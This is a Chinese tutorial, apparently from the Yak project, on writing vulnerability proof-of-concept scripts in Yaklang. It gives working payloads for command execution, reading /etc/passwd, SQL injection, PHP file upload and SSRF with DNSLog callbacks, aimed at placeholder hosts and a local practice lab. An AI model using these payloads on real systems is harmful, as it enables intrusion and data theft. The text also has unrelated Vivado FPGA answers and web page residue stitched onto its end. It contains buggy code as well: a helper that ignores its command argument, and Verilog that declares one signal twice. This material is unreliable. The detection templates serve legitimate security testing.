来了,秋天的第一个POC

立秋就这么水灵灵地过了

又到了“秋天的第一杯奶茶”刷屏的时刻

而我们要追求的是“秋天的第一个POC”

做好变强的准备了吗

Yak POC编写,这一篇就够了

文章中指代的POC仅指使用 Yaklang 编程语言编写的POC

在此篇文章中就详细描述 Yaklang 语法的学习了,可以移步至YAK官网 进行学习。

Yaklang 的语法总的来说参考了其他许多语言,你可以看到许多语言中的影子,例如 Golang(主要),Python,JS等。这使得学习 Yaklang 的成本对于学习过相关语言(尤其是 Yaklang)的用户来说是非常低的,通常这类用户可以在 10 分钟内快速上手 Yaklang 。

在 Yakit 中,我们最常用发送 HTTP 数据包的工具非 web fuzzer 莫属了,实际上,web fuzzer的发包能力底层也是通过 Yaklang 中的 poc 库来实现的,因此,我们可以使用 Yaklang 中的 poc 库来实现大部分发送 HTTP 数据包的功能。

在旧版的 Yaklang 中,有许多库都能够完成发包工作,例如 fuzz,httppool,http等,实际上对于编写 POC 来说,我们只需要重点关注 poc 库即可

发送请求

发送 URL 请求

对于如何请求一个指定的URL, poc 库提供了以下几个简单的函数:

poc.Do(method, url, ...)poc.Get(url, ...)poc.Post(url, ...)poc.Delete(url, ...)poc.Options(url, ...)

常见的发送 GET/POST/DELETE/OPTIONS 请求,我们只需要使用对应函数,第一个参数填入 URL 即可,对于要发送一些不常见请求方法的请求,我们可以使用 DO 来完成,一些简单的例子如下:

poc.Do("GET", "https://example.com")// 也可以使用poc.Get("https://example.com")// 发送POST请求poc.Post("https://exapmle.com")

通过一行代码,我们就可以快速地向目标 URL 发送请求。

发送原始报文请求

有些情况下,我们可能更希望能直接发送一个原始的请求报文,对此, poc 库也提供了一个好用的函数:

poc.HTTPEx(raw, ...)

我们使用poc.HTTPEx,第一个参数填入原始报文,即可将报文发送至对应目标服务器(如果没有额外指定,则是Host 请求头对应的目标服务器)。

发送批量请求

对于某些 POC 可能涉及到发送多个请求以及并发的问题,一个简单的控制并发例子如下:

// 最多10并发swg = sync.NewSizedWaitGroup(10)// 发送一共100个请求for i in 100 {    swg.Add(1)    go func {        defer swg.Done()        rsp, req = poc.Get(f"https://example.com?times=${i}")~        println(rsp.GetStatusCode())    }}​swg.Wait()

对于一些需要使用 fuzztag 的需求,我们就要用到 fuzz 这个标准库或者x前缀字符串了,先生成请求,再发送:

// 最多10并发swg = sync.NewSizedWaitGroup(10)// 先生成100个请求reqRaws = x`GET /?i={{int(1-100)}} HTTP/1.1Host: www.example.com`// 再发送一共100个请求for raw in reqRaws {    swg.Add(1)    go func {        defer swg.Done()        rsp, req = poc.HTTPEx(raw)~        println(rsp.GetStatusCode())    }}swg.Wait()

选项函数

在 Yaklang 中,一个约定俗成的规定是:以小写开头的库函数是选项函数。在 poc 库中,也有许多这样的选项函数,可以帮助我们对这次请求进行自定义的配置,一些常用的选项函数如下:

poc.host(host)               // 指定目标服务器,如果未指定则使用 Host 请求头对应的目标服务器poc.port(port)               // 指定目标服务器端口,如果未指定则使用 Host 请求头对应的目标服务器端口poc.timeout(floatSecond)     // 指定超时时间,单位为妙poc.https(bool)              // 指定是否为 HTTPS 请求poc.http2(bool)              // 指定是否为 HTTP2 请求poc.session(sessionName)     // 指定 session 名,当设置后会使用指定 session 进行请求,用同一个session发起的请求会自动管理Cookiepoc.redirectTimes(times)     // 指定跟踪重定向的次数poc.noRedirect(bool)         // 指定为 true 时禁止重定向,相当于poc.redirectTimes(0)poc.redirectHandler(f)       // 使用自定义函数来控制重定向逻辑poc.proxy(proxies)           // 指定请求使用的代理poc.dnsServer(server)        // 指定请求使用的DNS服务器poc.username(username)       // 指定请求认证的用户名,支持 BASIC/DIGEST/NTLM 认证poc.password(password)       // 指定请求认证的密码poc.noFixContentLength(bool) // 指定为 true 时发送请求时不会对请求包进行修复(Content-Length,CRLF)等

另外,还有一些选项函数在发送请求前对发送的请求进行补丁,如添加请求头,添加请求参数等,一些常用的选项函数如下:

poc.replaceQueryParam(key, value)       // 替换 GET 请求参数对应的值,如果不存在则增加poc.replacePostParam(key, value)        // 替换 POST 请求参数对应的值,如果不存在则增加poc.replaceHeader(key, value)           // 替换请求头对应的值,如果不存在则增加poc.replaceUserAgent(ua)                // 替换请求的 User-Agent 请求头 poc.replaceHost(host)                   // 替换请求的 Host 请求头poc.replaceBody(body)                   // 替换请求体poc.appendQueryParam(key, value)       // 添加 GET 请求参数对应的值poc.appendPostParam(key, value)        // 添加 POST 请求参数对应的值poc.appendHeader(key, value)           // 添加请求头对应的值poc.deleteQueryParam(key)              // 删除 GET 请求参数对应的值poc.deletePostParam(key)               // 删除 POST 请求参数对应的值poc.deleteHeader(key)                  // 删除请求头对应的值

案例

rsp, req = poc.HTTPEx(    `POST /post HTTP/1.1Content-Type: application/jsonHost: pie.dev​`,     poc.https(true),     poc.timeout(15),     poc.proxy("http://127.0.0.1:1080"),     poc.appendHeader("AAA", "BBB"),    poc.appendQueryParam("a", "b"),    poc.appendPostParam("c", "d"),)~

接收与处理响应接下来重要的一步就来了,发送请求之后我们如何拿到响应中想要的信息?上文中我们提到的发送请求的函数,其返回值都是一样的,以poc.HTTPEx为例,其函数签名为:

func HTTPEx(i any, opts ...PocConfigOption) (rsp *lowhttp.LowhttpResponse, req *http.Request, err error)

在三个返回值中,我们重点关注第一个返回值,我们想要的响应信息都存储在这里。我们可以简单地使用一行desc(rsp)代码,或者通过在 Yakit 的 Yak Runner 中鼠标悬浮提示来了解这个响应结构体及其成员的信息。我们常用到的响应信息如下:

rsp.RawPacket                // 原始响应报文rsp.GetBody()                // 原始响应体rsp.GetStatusCode()          // 响应状态码rsp.GetDurationFloat()       // 服务器响应时间,即服务器建立连接后到发送第一个响应字节所花的时间,通常在无回显判断漏洞检测中使用rsp.rsp.TraceInfo.ServerTime // 与rsp.GetDurationFloat() 一样

实际上,拿到了原始响应报文之后,我们也可以使用 poc 库中的一些辅助函数来拿到响应报文中的各种数据:

poc.GetHTTPPacketFirstLine(rsp.RawPacket)          // 获取响应的协议版本,状态码,状态码描述poc.GetHTTPPacketHeader(rsp.RawPacket,key)         // 获取响应的某个请求头的值poc.GetHTTPPacketHeaders(rsp.RawPacket)            // 获取响应的所有请求头的值poc.GetHTTPPacketBody(rsp.RawPacket)               // 获取响应体

案例

rsp, req = poc.HTTPEx(    `POST /post HTTP/1.1Content-Type: application/jsonHost: pie.dev​`,     poc.https(true),     poc.timeout(15),     poc.proxy("http://127.0.0.1:1080"),     poc.appendHeader("AAA", "BBB"),    poc.appendQueryParam("a", "b"),    poc.appendPostParam("c", "d"),)~body = rsp.GetBody()code = rsp.GetStatusCode()t = rsp.GetDurationFloat()

第三步也是最关键的一步,在编写一个 POC 之前,我们需要了解其定位,或者说这个漏洞是属于什么类型的,这样我们才能更好地去思考漏洞检测逻辑,编写 POC。以下列出一些常见漏洞的 POC 编写模版。代码执行/命令执行

此类漏洞能够实现的功能很多,因此我们漏洞的检测逻辑不应该简单地执行echo,同时我们要考虑到目标操作系统的问题(Windows/Linux等)。

那么我们如何优雅而又有效地检测代码执行或者命令执行呢?这里提供的思路是:计算,即我们通过脚本语言或者系统 Shell 中存在的函数/特性/命令来去执行计算,并根据计算结果来确认漏洞是否存在案例:命令执行 - Linux

// 计算与判断两个整数的和i,j = randn(1000, 2000), randn(100, 999)sum = i + jcmd = codec.EscapeQueryUrl(f"expr ${i}+${j}")rsp, req = poc.HTTPEx(f`GET /rce?cmd=${cmd} HTTP/1.1Host: www.vulnerable.com​`)~if string(sum) in rsp.RawPacket {    dump("存在漏洞")}

案例:命令执行 - Windows

// 计算与判断两个整数的和i,j = randn(1000, 2000), randn(100, 999)sum = i + jcmd = codec.EscapeQueryUrl(f`cmd /c "set /a ${i}+${j}"`)rsp, req = poc.HTTPEx(f`GET /rce?cmd=${cmd} HTTP/1.1Host: www.vulnerable.com`)~if string(sum) in rsp.RawPacket {    dump("存在漏洞")}

案例:命令执行 - 不知道目标操作系统这里的思路是多发几个请求,满足一个就行

// 计算与判断两个整数的和func checkPacket(command, want) {    cmd = codec.EscapeQueryUrl(f`cmd /c "set /a ${i}+${j}"`)    rsp, req = poc.HTTPEx(f`GET /rce?cmd=${cmd} HTTP/1.1Host: www.vulnerable.com​`)~    return string(want) in rsp.RawPacket}​i,j = randn(1000, 2000), randn(100, 999)sum = i + jlinuxCmd = codec.EscapeQueryUrl(f"expr ${i}+${j}")windowsCmd = codec.EscapeQueryUrl(f`cmd /c "set /a ${i}+${j}"`)if checkPacket(linuxCmd, sum) || checkPacket(windowsCmd, sum) {    dump("存在漏洞")}

案例:代码执行 - PHP

// 计算与判断一个随机字符串的MD5s = randstr(16)cmd = codec.EscapeQueryUrl(f`echo md5("${s}");`)rsp, req = poc.HTTPEx(f`GET /rce?code=${cmd} HTTP/1.1Host: www.vulnerable.com​`)~if codec.Md5(s) in rsp.RawPacket {    dump("存在漏洞")}

在其他操作系统与脚本语言中一样能找到类似的函数来进行计算,通过这种方法来判断此类漏洞,就可以减少误报的发生。

文件读取此类漏洞我们主要思考的是读取文件的路径,一般寻找固定位置和固定特征以及默认存在的文件,同时要考虑目标操作系统的问题(Windows/Linux等)。案例:Linux以/etc/passwd为例:

fp = "/etc/passwd"rsp, req = poc.HTTPEx(f`GET /file_read?file=${fp} HTTP/1.1Host: www.vulnerable.com​`)~body = rsp.GetBody()if rsp.GetStatusCode() == 200 && len(body) > 0 && "root:x:" in body && "nobody:x:" in body {    dump("存在漏洞")}

案例:Windows以C:\Windows\win.ini为例:

fp = "C:\\Windows\\win.ini"rsp, req = poc.HTTPEx(f`GET /file_read?file=${fp} HTTP/1.1Host: www.vulnerable.com​`)~body = rsp.GetBody()if rsp.GetStatusCode() == 200 && len(body) > 0 && "16-bit app support" in body {    dump("存在漏洞")}

SQL注入此类漏洞我们首先需要知道的是有没有回显,根据回显的有无,我们可以通过不同的方式进行判断。案例:有回显 - 联合注入

// 假设服务器 SQL 查询语句为:select username, password from users where username = '%s',其中%s为用户可控,存在SQL注入s = randstr(16)username = codec.EscapeQueryUrl(f`xxxxx' union all select 1,md5('${s}'); -- `)rsp, req = poc.HTTPEx(f`GET /union_sql?username=${username} HTTP/1.1Host: www.vulnerable.com​`)~body = rsp.GetBody()if len(body) > 0 && codec.Md5(s) in body {    dump("存在漏洞")}

案例:有回显 - 报错注入

// 假设服务器 SQL 查询语句为:select username, password from users where username = '%s',其中%s为用户可控,存在SQL注入s = randstr(16)username = codec.EscapeQueryUrl(f`1' and updatexml(1,concat(0x7e,md5('${s}'),0x7e,1,0x7e,2),1)-- `)rsp, req = poc.HTTPEx(f`GET /error_sql?username=${username} HTTP/1.1Host: www.vulnerable.com​`)~body = rsp.GetBody()if len(body) > 0 && codec.Md5(s) in body {    dump("存在漏洞")}

案例:无回显 - 延迟注入

// 假设服务器 SQL 查询语句为:select username, password from users where username = '%s',其中%s为用户可控,存在SQL注入// 假设已知一个存在的用户名kobeusername = codec.EscapeQueryUrl(f`kobe' and sleep(3)-- `)rsp, req = poc.HTTPEx(f`GET /no_output_sql?username=${username} HTTP/1.1Host: www.vulnerable.com​`)~body = rsp.GetBody()if rsp.GetDurationFloat() > 3 {    dump("存在漏洞")}

文件上传对于此类漏洞,需要思考的是如何在没有危害的情况下验证漏洞的存在,因此一般在可能的情况下会考虑计算输出+自我删除的形式。案例:PHP

// 这里以 pikachu 靶场的文件上传为例s = randstr(16)// 上传rsp, req = poc.HTTPEx(f`POST /vul/unsafeupload/clientcheck.php HTTP/1.1Host: 127.0.0.1:8765Accept-Language: zh-CN,zh;q=0.9Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateReferer: http://172.27.214.38:8765/vul/unsafeupload/clientcheck.phpContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzO5eB8A7KMQZG4MlContent-Length: 38747​------WebKitFormBoundaryzO5eB8A7KMQZG4MlContent-Disposition: form-data; name="uploadfile"; filename="abc.php"Content-Type: image/png​<?phpecho md5("${s}");unlink(__FILE__);?>------WebKitFormBoundaryzO5eB8A7KMQZG4MlContent-Disposition: form-data; name="submit"​开始上传------WebKitFormBoundaryzO5eB8A7KMQZG4Ml--`)~// 这里可以根据上传请求的响应来拿到文件上传的路径body = rsp.GetBody()uploadFilePath = ""if "文件保存的路径为:" in body {    uploadFilePath = body.Split("文件保存的路径为:")[1].Split("</p>")[0].Trim()}​// 漏洞不存在if uploadFilePath == "" {    return }​// 访问上传的文件rsp, req = poc.HTTPEx(f`GET /vul/unsafeupload/${uploadFilePath} HTTP/1.1Host: 127.0.0.1:8765`)~​body = rsp.GetBody()if codec.Md5(s) in body {    dump("存在漏洞")}

服务端请求伪造(SSRF)此类漏洞首先需要知道的也是有没有回显,根据回显的有无,我们可以通过不同的方式进行判断。案例:有回显 通过curl请求 linux此案例思路与前文中文件读取差不多,只是访问路径为file:///etc/passwd

// 这里以 pikachu 靶场的SSRF为例url = codec.EscapeQueryUrl(f`file:///etc/passwd`)rsp, req = poc.HTTPEx(f`GET /vul/ssrf/ssrf_curl.php?url=${url} HTTP/1.1Host: 127.0.0.1:8765​`)~body = rsp.GetBody()if rsp.GetStatusCode() == 200 && len(body) > 0 && "root:x:" in body && "nobody:x:" in body {    dump("存在漏洞")}

案例:有回显 php 通过file_get_contents请求 linux在此案例中,我们可以考虑使用php的伪协议,使用data协议来安全地读取一段随机字符串,再判断响应中是否存在该字符串

// 这里以 pikachu 靶场的SSRF为例s = randstr(16)url = codec.EscapeQueryUrl(f`data://text/plain;base64,`) + codec.EncodeBase64(s)rsp, req = poc.HTTPEx(f`GET /vul/ssrf/ssrf_fgc.php?file=${url} HTTP/1.1Host: 172.27.214.38:8765​`)~body = rsp.GetBody()if rsp.GetStatusCode() == 200 && len(body) > 0 && s in body {    dump("存在漏洞")}

案例:无回显 通过curl请求 出网 linux

// 这里以 pikachu 靶场的SSRF为例domain, token = risk.NewDNSLogDomain()~url = codec.EscapeQueryUrl(f`http://${domain}`)rsp, req = poc.HTTPEx(f`GET /vul/ssrf/ssrf_curl.php?url=${url} HTTP/1.1Host: 127.0.0.1:8765`)~events = risk.CheckDNSLogByToken(token, 5)~if len(events) > 0 {    dump("存在漏洞")}

可能会有师傅发现,有的漏洞我并没有给模板,例如反序列化,XSS等漏洞,但是实际上上面的模板已经囊括了许多漏洞危害下的 POC 了。

举个例子,反序列化漏洞可能利用过程比较复杂,但是实际上造成的危害通常都是上述一些漏洞造成的危害,如命令执行,文件读取,服务端请求伪造等,也可以通过上面的依据来无害化判断漏洞是否存在。

对上述的模板进行总结:

  • 对于有回显的漏洞,我们普遍采用计算的方式来验证漏洞,不论是 哈希计算(如md5)还是算数计算(如加法)也好,检测计算后的结果是否存在于响应中,比直接检测某个输入直接在响应中要靠谱得多

  • 对于无回显的漏洞,我们可以采用延时或者外带的方式来验证漏洞
  • 延时:代码执行/数据库中的睡眠函数,命令执行中的睡眠命令
  • 外带:通常指 DNSLog或HTTPLog

END

YAK官方资源

Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ

### 回答1: Vivado是一款由Xilinx公司提供的综合型设计套件,用于设计和开发FPGA(现场可编程逻辑阵列)和SoC(片上系统)。通过Vivado,可以进行FPGA设计的各个阶段,包括设计输入、综合、布图、实现和验证。在Vivado中,可以使用HDL(硬件描述语言)如Verilog或VHDL来编写和描述设计。 为了创建一个Vivado的Proof of Concept(概念验证),我们需要明确具体的需求和目标。假设我们的PoC是设计一个简单的计数器电路,其功能是在每个时钟上升沿产生一个递增的计数值,并在达到特定阈值时产生一个输出信号。 首先,在Vivado中创建一个新的项目,并选择目标设备。在项目设置中,确保选择适当的FPGA型号和约束文件。 然后,在设计源代码中编写计数器电路的描述。可以使用Verilog或VHDL编写以递增计数器值的方式,如: ```verilog module counter ( input wire clk, input wire reset, output wire [7:0] count, output wire output_signal ); reg [7:0] count; always @(posedge clk or posedge reset) begin if (reset) count <= 0; else count <= count + 1; end assign output_signal = (count == 255) ? 1'b1 : 1'b0; endmodule ``` 接下来,将设计源代码添加到Vivado项目中,并运行综合过程。在综合后,会生成一个逻辑网表表示设计的结构。 然后,使用Vivado的布图功能,将逻辑网表映射到目标FPGA设备的物理资源上。通过选择适当的约束文件,可以定义FPGA引脚到设计模块输入输出端口的映射关系。 在布图完成后,可以进行位流过程,将设计下载到FPGA设备中进行验证。通过连接FPGA设备和外围设备,例如数字逻辑分析仪,可以进行信号观测和验证。 最后,对设计性能和功能进行评估。如果计数器功能正常,并且输出信号在达到阈值时正确触发,那么PoC设计即为成功。 总结起来,使用Vivado进行PoC设计可以分为以下步骤:创建项目,编写设计源代码,综合,布图,位流,验证和评估设计的功能和性能。一旦设计验证成功,可以进一步优化和完善该设计。 ### 回答2: Vivado是赛灵思公司开发的一款可编程逻辑器件(FPGA)设计软件。POC是指Proof of Concept,即概念验证,用于验证某个想法的可行性,通常是设计一个简化的原型。 在Vivado中进行POC的过程大致分为以下几个步骤: 1. 定义项目:在Vivado中创建一个新的项目,并选择适当的FPGA型号和开发板。 2. 添加设计文件:将需要进行验证的IP核、逻辑设计文件等加入到Vivado项目中。 3. 设计IP核:根据需要,在Vivado中使用IP Integrator或其他工具设计所需的IP核,例如数据处理模块、通信接口等。 4. 进行综合与布局布线:使用Vivado的逻辑综合和布局布线工具将设计文件综合为逻辑网表,并进行布局布线,以生成一个可执行的位文件。 5. 进行时序仿真:使用Vivado自带的仿真工具,对设计进行时序仿真,验证其功能正确性和时序性能。 6. 下载到FPGA:将生成的位文件下载到目标FPGA芯片上进行验证。 7. 进行验证与分析:对FPGA芯片进行功能验证和性能评估,并进行相关数据分析,检查是否满足需求和预期。 8. 调试与优化:根据验证和分析结果,对设计进行调试和优化,消除潜在的问题,提高设计的性能和可靠性。 总之,通过Vivado设计一个POC可以帮助我们验证设计的有效性和可行性,并为进一步的开发和优化提供基础。 ### 回答3: Vivado是一款由Xilinx公司开发的集成电路设计工具,用于设计、仿真和综合FPGA(现场可编程门阵列)和SoC(片上系统)等硬件电路。 要使用Vivado进行一个POC(概念验证),我们可以按照以下步骤进行: 1. 创建新工程:打开Vivado软件并创建一个新的工程。选择一个合适的FPGA或SoC目标设备,并设置好工程的名称和存储路径。 2. 设计电路:在设计界面中,可以使用Vivado提供的各种设计工具创建电路原理图或使用硬件描述语言(如VHDL或Verilog)编写电路设计代码。 3. 添加IP核:Vivado支持用户在设计中添加现成的IP(知识产权)核,以提高设计效率和减少开发时间。可以从Xilinx提供的IP库中选择适合的核,并将其添加到设计中。 4. 仿真验证:在设计完成后,可以使用Vivado自带的仿真工具进行电路功能验证。通过仿真,可以检查设计的正确性和性能,并进行必要的调试和修改。 5. 综合和进程实现:在功能验证通过后,将设计的电路综合为门级网表,并对其进行进一步的物理实现。在这个阶段,可以进行资源分配、时序约束和布局布线等操作。 6. 生成比特流:当电路实现成功后,可以生成比特流(bitstream)文件,该文件包含了完整的配置信息,可以烧录到目标FPGA或SoC设备中进行验证。 7. 硬件验证:将生成的比特流文件下载到目标硬件设备中,并对其进行验证和测试。测试可以通过连接外部设备以及使用自己编写的代码进行。 通过以上步骤,我们可以使用Vivado进行一个POC的设计。这个POC可以是一个小型的硬件模块、电路或者是一个更复杂的系统。Vivado通过提供完善的设计工具链和功能支持,帮助开发者高效地完成硬件设计和验证。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值